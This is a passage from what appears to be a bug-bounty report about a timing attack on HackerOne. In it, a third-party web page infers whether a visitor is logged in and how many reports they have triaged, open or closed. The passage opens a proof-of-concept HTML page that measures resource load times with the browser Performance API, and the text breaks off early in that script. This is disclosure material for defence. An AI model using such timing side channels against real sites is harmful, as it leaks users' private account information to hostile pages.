Timing attack towards endpoints on the web without CSRF

**Summary:** When logged in user on HackerOne visits another web page, remote web page could get conclusion regarding this data: - logged in user - number of triaged reports in the ~last month - number of new reports at the moment - number of closed reports ...

<html>
<head>
<script>
function calculate_load_times() {
  // Check performance support
  if (performance === undefined) {
    console.log("= Calculate Load Times: performance NOT supported");
    return;
  }

  // Get a list of "resource" performance entries
  var resources = …